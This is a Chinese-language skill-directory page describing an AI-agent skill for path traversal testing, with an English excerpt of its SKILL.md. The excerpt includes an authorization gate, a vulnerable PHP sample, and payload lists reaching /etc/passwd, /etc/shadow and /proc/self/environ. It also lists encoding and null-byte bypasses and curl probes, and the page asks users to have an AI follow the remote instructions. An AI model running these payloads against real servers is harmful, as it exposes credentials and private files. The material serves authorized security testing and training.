跳到正文
Skillpedia
安全48k · #4612

file-path-traversal

它能做什么

这个工具可以帮助查找并利用一种名为「路径遍历」(path traversal)的安全漏洞。攻击者可以借助这个漏洞,读取服务器上本不该被他们访问的文件,比如密码或代码。

适用场景

  • ✓测试网站或应用程序的安全性时。
  • ✓检查网站是否能防止未授权的文件读取时。
  • ✓在安全培训中,用来理解这种漏洞的工作原理时。

技能链接

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/file-path-traversal/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/file-path-traversal/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“检查网站「example.com」是否允许通过路径遍历读取「/etc/passwd」文件。”

每周 5 个新技能,1 分钟读完。

工作原理

这个工具会使用「../」这类序列,尝试从预期的文件夹向上跳转,访问服务器上的其他文件。它会测试不同的组合,看看能否读取敏感文件。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target, ask for the exact target URL, IP, account, or resource and confirmation of written authorization and permitted scope. Show the exact command(s), explain their expected effect, and wait for explicit confirmation in the current conversation. Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

File Path Traversal Testing

Purpose

Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.

Prerequisites

Required Tools

  • Web browser with developer tools
  • Burp Suite or OWASP ZAP
  • cURL for testing payloads
  • Wordlists for automation
  • ffuf or wfuzz for fuzzing

Required Knowledge

  • HTTP request/response structure
  • Linux and Windows filesystem layout
  • Web application architecture
  • Basic understanding of file APIs

Outputs and Deliverables

  1. Vulnerability Report - Identified traversal points and severity
  2. Exploitation Proof - Extracted file contents
  3. Impact Assessment - Accessible files and data exposure
  4. Remediation Guidance - Secure coding recommendations

Core Workflow

Phase 1: Understanding Path Traversal

Path traversal occurs when applications use user input to construct file paths:

// Vulnerable PHP code example
$template = "blue.php";
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
    $template = $_COOKIE['template'];
}
include("/home/user/templates/" . $template);

Attack principle:

  • ../ sequence moves up one directory
  • Chain multiple sequences to reach root
  • Access files outside intended directory

Impact:

  • Confidentiality - Read sensitive files
  • Integrity - Write/modify files (in some cases)
  • Availability - Delete files (in some cases)
  • Code Execution - If combined with file upload or log poisoning

Phase 2: Identifying Traversal Points

Map application for potential file operations:

# Parameters that often handle files
?file=
?path=
?page=
?template=
?filename=
?doc=
?document=
?folder=
?dir=
?include=
?src=
?source=
?content=
?view=
?download=
?load=
?read=
?retrieve=

Common vulnerable functionality:

  • Image loading: /image?filename=23.jpg
  • Template selection: ?template=blue.php
  • File downloads: /download?file=report.pdf
  • Document viewers: /view?doc=manual.pdf
  • Include mechanisms: ?page=about

Phase 3: Basic Exploitation Techniques

Simple Path Traversal

# Basic Linux traversal
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd

# Windows traversal
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts

# URL encoded
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding

# Test payloads with curl
curl "http://target.com/image?filename=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"

Absolute Path Injection

# Direct absolute path (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ

# Direct absolute path (Windows)
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini

Phase 4: Bypass Techniques

Bypass Stripped Traversal Sequences

# When ../ is stripped once
....//....//....//etc/passwd
....\/....\/....\/etc/passwd

# Nested traversal
..././..././..././etc/passwd
....//....//etc/passwd

# Mixed encoding
..%2f..%2f..%2fetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

Bypass Extension Validation

# Null byte injection (older PHP versions)
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png

# Path truncation
../../../etc/passwd...............................

# Double extension
../../../etc/passwd.jpg.php

…

常见问题

什么是「路径遍历」(path traversal)?

这是一种安全漏洞。攻击者可以利用「../」这类序列在文件夹结构中向上跳转,从而访问预定目录之外的文件。

攻击者能读取哪些文件?

取决于其权限,攻击者可能读取配置文件、密码、应用程序的源代码、日志,或服务器上存储的其他敏感数据。

使用这个工具需要获得许可吗?

需要。在使用之前,必须事先获得系统所有者明确的书面许可。未经授权使用是违法的。

详情

作者的原始描述

Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code.

repo: sickn33/agentic-awesome-skills

热度

GitHub 星标
48k
排名
#4612
许可证
MIT
更新时间
2026/10/15

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能